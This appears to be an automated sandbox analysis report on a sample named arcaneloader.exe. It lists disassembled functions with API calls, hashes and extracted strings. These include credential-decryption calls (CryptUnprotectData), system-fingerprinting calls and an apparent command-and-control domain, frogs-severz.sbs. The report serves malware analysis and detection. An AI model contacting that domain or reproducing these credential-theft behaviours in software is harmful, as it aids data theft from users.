Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: dabc13af86b12f6f31bafac874b1ee41181cdb2e81af1aede6522e100b1b6537
Instruction ID: 711c78ee95212e3357f446c634a5138c4a18b43789fe0627891e7d37245a02cd
Opcode Fuzzy Hash: dabc13af86b12f6f31bafac874b1ee41181cdb2e81af1aede6522e100b1b6537
Instruction Fuzzy Hash: 1311DBF160161B7E6B1127B19C8AE7FFA5DDE853A4714003EF802D3142FB60CD025579

Function 00DD07C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00DCFF31,00000000,00000001,00000000,?,?,00DCE9DA,?,00000000,00000000), ref: 00DD07D7
GetLastError.KERNEL32(?,00DCFF31,00000000,00000001,00000000,?,?,00DCE9DA,?,00000000,00000000,?,?,?,00DCE320,00000000), ref: 00DD07E3

Part of subcall function 00DD0840: CloseHandle.KERNEL32(FFFFFFFE,00DD07F3,?,00DCFF31,00000000,00000001,00000000,?,?,00DCE9DA,?,00000000,00000000,?,?), ref: 00DD0850

___initconout.LIBCMT ref: 00DD07F3

Part of subcall function 00DD0815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DD07B1,00DCFF1E,?,?,00DCE9DA,?,00000000,00000000,?), ref: 00DD0828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00DCFF31,00000000,00000001,00000000,?,?,00DCE9DA,?,00000000,00000000,?), ref: 00DD0808

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 9ff3f316b3c75579c1ea3984fce911a635f8e057f1265b1cb03af52e05fc8696
Instruction ID: ecfe8ec6e32544ad678ebe577ac54dacebe8b71850c013c0a54d27bab4335dde
Opcode Fuzzy Hash: 9ff3f316b3c75579c1ea3984fce911a635f8e057f1265b1cb03af52e05fc8696
Instruction Fuzzy Hash: 36F0FE36001658BBCF222F91DC04A897F2AFF48361F058413FA1885221C6728820ABB1

Function 00DC8D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00DC8D75

Strings

csm, xrefs: 00DC8D97
csm, xrefs: 00DC8E08

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 0f9ffa1bd6b0708ec7e4353c37ada42874482dc784854197947462106587b8ee
Instruction ID: 676b56211a7c009ff9a50c3a765d87f9a73a40f95d696d97c4cd47c575a42ec1
Opcode Fuzzy Hash: 0f9ffa1bd6b0708ec7e4353c37ada42874482dc784854197947462106587b8ee
Instruction Fuzzy Hash: F331D27640025AEFCF225F94C804EAA7B6AFF08324B18455EF8455B121CB33DD61FBA1

Analysis Process: arcaneloader.exePID: 280, Parent PID: 1280COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	48.1%
Total number of Nodes:	208
Total number of Limit Nodes:	12

Executed Functions

Function 0043A1C0 Relevance: 30.3, APIs: 11, Strings: 6, Instructions: 583
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00445678,00000000,00000001,00445668,00000000), ref: 0043A2ED
SysAllocString.OLEAUT32(912B9FFB), ref: 0043A367
CoSetProxyBlanket.COMBASE(FC012CB8,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043A3AD
SysAllocString.OLEAUT32(?), ref: 0043A408
SysAllocString.OLEAUT32(81C987D9), ref: 0043A503
VariantInit.OLEAUT32(?), ref: 0043A572

Strings

C, xrefs: 0043A29C
^@:K, xrefs: 0043A48B
PS, xrefs: 0043A323
\, xrefs: 0043A2A7
[U, xrefs: 0043A313
]], xrefs: 0043A3BB

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: C$PS$\$]]$^@:K$[U
API String ID: 65563702-3832223774
Opcode ID: 605fed1a75867b54c36bb4c147900357e8e078bd7e60b625ccf0a8180c265ee5
Instruction ID: 0b00fd55619220c5164c80419da9c7b14231372ae20546c5e651c2f421140ebb
Opcode Fuzzy Hash: 605fed1a75867b54c36bb4c147900357e8e078bd7e60b625ccf0a8180c265ee5
Instruction Fuzzy Hash: F412FE75A883408BD724CF24C885B5BBBE5EF89304F14892EE9C59B390D778D806CB96

Function 00435540 Relevance: 29.9, APIs: 2, Strings: 15, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00435589
GetSystemMetrics.USER32 ref: 00435599

Strings

YC, xrefs: 00435721
, xrefs: 00435686
|]C, xrefs: 004356F5
YC, xrefs: 004357BB
YC, xrefs: 0043574D
YC, xrefs: 0043579A
YC, xrefs: 004357B0
YC, xrefs: 00435737
o^C, xrefs: 004357A5
YC, xrefs: 00435758
aYC, xrefs: 00435716
YC, xrefs: 00435784
YC, xrefs: 0043572C
YC, xrefs: 0043578F
&^C, xrefs: 00435763

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID: $&^C$aYC$o^C$|]C$YC$YC$YC$YC$YC$YC$YC$YC$YC$YC
API String ID: 4116985748-3003443742
Opcode ID: b740e1d7f20848899819fd048a70c9d79a89a826e92aaca89430d53b2ca35061
Instruction ID: 4ce7114e25f20e890f8702e4eef0d9a75a5ee80db5788fd673bd1059a42f653e
Opcode Fuzzy Hash: b740e1d7f20848899819fd048a70c9d79a89a826e92aaca89430d53b2ca35061
Instruction Fuzzy Hash: 98815FB45097849FE360DF24D59878FBBE0FB85748F50891EE4889B250D7B99848CF86

Function 0041C8CA Relevance: 29.0, APIs: 1, Strings: 15, Instructions: 994
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0041CAF3

Part of subcall function 0043F4A0: LdrInitializeThunk.NTDLL(00441E5D,005C003F,00000018,?,?,00000018,?,?,?), ref: 0043F4CE

Strings

Z, xrefs: 0041D06A
F[D, xrefs: 0041CF9A
Ow, xrefs: 0041D453
", xrefs: 0041CF4C
F, xrefs: 0041D45E
KK7D, xrefs: 0041C9B7
HK, xrefs: 0041D375
OX, xrefs: 0041C9C2
X, xrefs: 0041CFD9
|, xrefs: 0041D502
Cv, xrefs: 0041D448
{e, xrefs: 0041D2F1
@HD, xrefs: 0041C9A1
s}, xrefs: 0041D2DB
JPJY, xrefs: 0041C9AC

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: CryptDataInitializeThunkUnprotect
String ID: @HD$"$Cv$F$HK$JPJY$KK7D$OX$Ow$X$Z$|$F[D$s}${e
API String ID: 279577407-1832894750
Opcode ID: 387dda948366e0661d74f29b77b0fa7233144efc7b43bd4eef04fd221e3a40d0
Instruction ID: 7bdabe343a5318d9dde8d3736c21ea19e48050fb991c66e7e3c80059a47da189
Opcode Fuzzy Hash: 387dda948366e0661d74f29b77b0fa7233144efc7b43bd4eef04fd221e3a40d0
Instruction Fuzzy Hash: 1A729DB55083808BC734DF28C8967EFB7E1AF95314F18892DD4D98B391EB385945CB86

Function 0040B270 Relevance: 22.9, Strings: 18, Instructions: 387
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^;, xrefs: 0040B68F
ngfa, xrefs: 0040B3CB
{O1I, xrefs: 0040B39B
T'R!, xrefs: 0040B34B
C+[5, xrefs: 0040B363
;W Q, xrefs: 0040B3AB
*G7A, xrefs: 0040B38B
G, xrefs: 0040B527
E?G9, xrefs: 0040B37B
=S#], xrefs: 0040B3B3
4[Me, xrefs: 0040B3C3
0_1Y, xrefs: 0040B3BB
:K>U, xrefs: 0040B3A3
K#O-, xrefs: 0040B353
~, xrefs: 0040B696
O/R), xrefs: 0040B35B
2C5M, xrefs: 0040B393
A;E, xrefs: 0040B383

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: *G7A$0_1Y$2C5M$4[Me$:K>U$;W Q$=S#]$A;E$C+[5$E?G9$K#O-$O/R)$T'R!$^;$ngfa${O1I$~$G
API String ID: 0-1588782830
Opcode ID: b808178bdd0a2737871c520d4453b0c67bcc14fd14c86eb7a07cbe5d0eb4913b
Instruction ID: 2f53f5ab52d22a7194f24516e713320aa84c6c71a96a9c81b0f44bdf0c73b6d4
Opcode Fuzzy Hash: b808178bdd0a2737871c520d4453b0c67bcc14fd14c86eb7a07cbe5d0eb4913b
Instruction Fuzzy Hash: CED1167250C3948BC324CF25849126BBBE2EFD2714F188A6DE4E55B391D7798909CBCB

Function 0040ED41 Relevance: 10.9, APIs: 1, Strings: 6, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00435540: GetSystemMetrics.USER32 ref: 00435589
Part of subcall function 00435540: GetSystemMetrics.USER32 ref: 00435599

CoUninitialize.COMBASE ref: 0040ED56

Strings

; 34, xrefs: 0040EE29
),>,, xrefs: 0040EE1E
X0, xrefs: 0040ED64
GUE, xrefs: 0040F0E4
frogs-severz.sbs, xrefs: 0040F1F5
JKJI, xrefs: 0040F0EF

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Uninitialize
String ID: ),>,$; 34$JKJI$X0$frogs-severz.sbs$GUE
API String ID: 1128523136-2361847433
Opcode ID: c0c5fc3554df1080a930af1c41e7bb8c8345cec9a0cd29b16d354af7f59ccdf8
Instruction ID: 9d012ff14df40c5026412943e8085f88ed5e2b5c642ce0170b92deccb5927b46
Opcode Fuzzy Hash: c0c5fc3554df1080a930af1c41e7bb8c8345cec9a0cd29b16d354af7f59ccdf8
Instruction Fuzzy Hash: DDC1E17150D3918BD3358F25C8913EBBFE2ABD6318F184A6DD4C9AB381DB784905CB86

Function 0040C10E Relevance: 10.2, Strings: 8, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{Qe, xrefs: 0040C489
K'D!, xrefs: 0040C40B
w+wU, xrefs: 0040C420
|_vY, xrefs: 0040C435
U#I-, xrefs: 0040C412
8G1A, xrefs: 0040C443
W;C%, xrefs: 0040C404
Dg+a, xrefs: 0040C493

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: 8G1A$Dg+a$K'D!$U#I-$W;C%$w+wU$|_vY${Qe
API String ID: 0-3275651424
Opcode ID: 7e78ab07706f1ce07f1f6dc755e374cd28aea3dddf7c3d9e555a9a57ec2978a4
Instruction ID: 1122c349f357e9f8924bf3ae55dffd2a0887e0537cf4f6dc7b1164af973e402f
Opcode Fuzzy Hash: 7e78ab07706f1ce07f1f6dc755e374cd28aea3dddf7c3d9e555a9a57ec2978a4
Instruction Fuzzy Hash: 24B1EBB44143808FE3549F26C989FA97FB0FB52204F5A96E9D1592F772DB348406CF8A

Function 00408F40 Relevance: 7.6, APIs: 5, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408F62
GetCurrentThreadId.KERNEL32 ref: 00408F75
GetCurrentProcessId.KERNEL32 ref: 00408F7D
GetForegroundWindow.USER32 ref: 00409073
ExitProcess.KERNEL32 ref: 004090DB

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 4290895ae9671ffd7fc316db242a24f340638f5227a289abfd9a7799e35f85c7
Instruction ID: ead2fa2458e5ccc8f2f6a7ceba12f98d960acc93df0da4a6f063baeda188eb93
Opcode Fuzzy Hash: 4290895ae9671ffd7fc316db242a24f340638f5227a289abfd9a7799e35f85c7
Instruction Fuzzy Hash: 9D412673E446201BD708AF7ACC8A35AB6D75BC4310F0EC53D6D88EB3E5E9388C058685

Function 004269C2 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

][, xrefs: 00426B3B
EC, xrefs: 00426B2B
f, xrefs: 00426EA7

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: f$EC$][
API String ID: 0-2457055411
Opcode ID: 6892c7f6e06dc625f46d2498c252b5b4440cbcb91afea0c7e6fad0f79e4d6d20
Instruction ID: 842a609e815ecc4ce36ae6e8bb820a9096674b54fe555c39fd9feabf8fb66444
Opcode Fuzzy Hash: 6892c7f6e06dc625f46d2498c252b5b4440cbcb91afea0c7e6fad0f79e4d6d20
Instruction Fuzzy Hash: 84D1C8B5208340DBD310DF69E89126BBBE1FB86314F448A2DF1D58B351EB79C906CB4A

Function 004222F0 Relevance: 5.2, Strings: 4, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lq&{, xrefs: 00422522
Lq&{, xrefs: 004224A2
Eq&{, xrefs: 004224EE
Eq&{, xrefs: 00422477

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: Eq&{$Eq&{$Lq&{$Lq&{
API String ID: 0-1854877544
Opcode ID: 904748880ccd16602758f575d7cd84f6a97d1dac0cc732244aae6f106613aa36
Instruction ID: 15447ccef762282df6fdcd2482e2bd9f8a638bc7f0dcdeb2c029ea22900a286a
Opcode Fuzzy Hash: 904748880ccd16602758f575d7cd84f6a97d1dac0cc732244aae6f106613aa36
Instruction Fuzzy Hash: 1B512775608341AFD310EF64F881B5BBBE4EB8A348F04883EF58587290E7799945CB5B

Function 0042EDFB Relevance: 3.4, APIs: 2, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0042EEE5

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 7cbfa526744e63013249bd5da1a754e1e5cc963dc7eaeae7a3003896340be045
Instruction ID: 142982892f5f11325e723778e1f9dcbc7497a046d0b64463dc0703ab0d60ea86
Opcode Fuzzy Hash: 7cbfa526744e63013249bd5da1a754e1e5cc963dc7eaeae7a3003896340be045
Instruction Fuzzy Hash: 1AD103302047818FEB158F36D460B72BBE2AF57304F5884AED0D69B393D7799846CB29

Function 0042EDF6 Relevance: 3.4, APIs: 2, Instructions: 358
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0042EEE5
GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0042EFB4

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: c78054440fc6fa620e110cda238c21fa9360611582a36aabe5a335869c3c765e
Instruction ID: e67a81b80360b9f6f588464472b5b98559d84c06fcd0e34811145894dce683d9
Opcode Fuzzy Hash: c78054440fc6fa620e110cda238c21fa9360611582a36aabe5a335869c3c765e
Instruction Fuzzy Hash: 0BB1E3706047828FE7158F36D460B72BBE2AF53304F5884AEC0D69B393DB799846CB25

Function 00429590 Relevance: 2.9, Strings: 2, Instructions: 398COMMON

Download Yara Rule

Strings

[, xrefs: 00429973
9, xrefs: 0042996B

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: 9$[
API String ID: 2994545307-425942895
Opcode ID: 30ab1c8e28123abced1a10eed1accd3c716931f4c82e7583eda91f091223b750
Instruction ID: a9c36e03228082b36eb96f6119028850001021d7bd2f328d3d98c6a395f82d3b
Opcode Fuzzy Hash: 30ab1c8e28123abced1a10eed1accd3c716931f4c82e7583eda91f091223b750
Instruction Fuzzy Hash: 18B17A72B183618BD7148E24E8812AB77D2EFD5314F98C53EE8898B341D63CDC46C39A

Function 0040D487 Relevance: 2.8, Strings: 2, Instructions: 317COMMON

Download Yara Rule

Strings

D1DAEAD3B896F67BD8DCFC0BCFF02CE4, xrefs: 0040D4DE
frogs-severz.sbs, xrefs: 0040D8FE

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: D1DAEAD3B896F67BD8DCFC0BCFF02CE4$frogs-severz.sbs
API String ID: 0-3985567380
Opcode ID: e9397d0ad6c990278152fe6454d4560b7b69b6de74d3f2336e4d9f898f8025f3
Instruction ID: 1624ccc56d8b69c04fb1cbd002dacc3c878cac572421a71ee09f7bdf46ef3427
Opcode Fuzzy Hash: e9397d0ad6c990278152fe6454d4560b7b69b6de74d3f2336e4d9f898f8025f3
Instruction Fuzzy Hash: 04B1D2B591E3C08BD331CF2898907DBBBE1AFDA314F18896DD4C99B395DA35440ACB46

Function 00442460 Relevance: 2.6, Strings: 2, Instructions: 110COMMON

Download Yara Rule

Strings

@, xrefs: 004424C9
X\, xrefs: 00442463

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @$X\
API String ID: 2994545307-656782640
Opcode ID: a8ca74f0b8a9222c990306c37e9c7a5ca9ae00f80c3c8dd6df592b2388385b39
Instruction ID: 29cceeb6dee9158ca5a37882d95d597edbe1ce64c7c6c7953c086eb30502129f
Opcode Fuzzy Hash: a8ca74f0b8a9222c990306c37e9c7a5ca9ae00f80c3c8dd6df592b2388385b39
Instruction Fuzzy Hash: BE3156765183049BC304DF18C8C066BBBE5FFD9310F55892DE98887390E7B99908C75A

Function 0040CFE5 Relevance: 2.6, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

Eg:e, xrefs: 0040D022
dc, xrefs: 0040D02A

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: Eg:e$dc
API String ID: 0-2477354281
Opcode ID: 446ccf7749d00ac099776b3865edea6ac9cf1376c4734ade4665d1c1043cedfd
Instruction ID: 00cb38564071228128a8e0ce01af026fce47a09590bc48c059c93e4fb5950253
Opcode Fuzzy Hash: 446ccf7749d00ac099776b3865edea6ac9cf1376c4734ade4665d1c1043cedfd
Instruction Fuzzy Hash: B72125379083508FD720CF54C88176BB7A1EBD6714F19852CEACA77281D379E80B8B89

Function 0042F246 Relevance: 1.9, APIs: 1, Instructions: 422COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042F79E

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: c700badfd8ad3b95f444d5be6bf6d8505af29bc01c7444bceaa76480fa4af0b1
Instruction ID: 3ff10f63a2e1305b59b3b08122994c3cfc54dc3f345c2e7657d08e55cf3a99fe
Opcode Fuzzy Hash: c700badfd8ad3b95f444d5be6bf6d8505af29bc01c7444bceaa76480fa4af0b1
Instruction Fuzzy Hash: 39C1E5756047928FE315CF29C450722FBE2BF56300F6885AEC4DA8B792C779E846CB54

Function 0042F6C5 Relevance: 1.9, APIs: 1, Instructions: 355COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042F79E

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: cf9cedbe5de86419d105d76727cc81a6fcb5d7552176dfadf4df2bd2e7934b03
Instruction ID: 38ffefb4ebd65664b17ba973511349a7435345d105f14330814fe97eb206fa05
Opcode Fuzzy Hash: cf9cedbe5de86419d105d76727cc81a6fcb5d7552176dfadf4df2bd2e7934b03
Instruction Fuzzy Hash: 98B1F1756047828FE319CF29D050722FBE1AF96300F6885BEC4DA8B792C779D846CB44

Function 0043F4A0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00441E5D,005C003F,00000018,?,?,00000018,?,?,?), ref: 0043F4CE

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00441E80 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 00441F31

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 34c8de6352c863dc2522a77f1473af924fb0f12f2f52fa211f15d2cbc6d63c74
Instruction ID: a8dbdbc5700a8c6e023359f47cb9c9ea8156e3f6febc5815d51c328794099f6a
Opcode Fuzzy Hash: 34c8de6352c863dc2522a77f1473af924fb0f12f2f52fa211f15d2cbc6d63c74
Instruction Fuzzy Hash: 8C4189B59143008BE704CF28C88076BB7E1FFD4328F14C22EE999573A1E7798949C78A

Function 0040CA1E Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

w%r', xrefs: 0040CA95

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: w%r'
API String ID: 0-1361669421
Opcode ID: ab76e7b43a02a3a54cbeba7acdf0484787f6e51fafd38beaaa350cb199addc32
Instruction ID: d981a9ddf46fd9b10f14a1a6aa5ae6bfa68ba1020d02be8d4138c48014b6e845
Opcode Fuzzy Hash: ab76e7b43a02a3a54cbeba7acdf0484787f6e51fafd38beaaa350cb199addc32
Instruction Fuzzy Hash: 902123B6E155529BD719CF34CC82BB67BA2AF96301F18C1ADD451AB389DB38A8018744

Function 0043F6C2 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 124673cfcf7b16fe1551a151f29d16a27aa2596d08743f7277e2ad2e8d06b373
Instruction ID: 14bc28572da6d8f33c8896025a3aa771921f02f29064102e0cff857034dbbe17
Opcode Fuzzy Hash: 124673cfcf7b16fe1551a151f29d16a27aa2596d08743f7277e2ad2e8d06b373
Instruction Fuzzy Hash: 7751477AB592044BD718DE28DD9223BB3D3F7D9310F1DA83ED285C7361DA79C80A8609

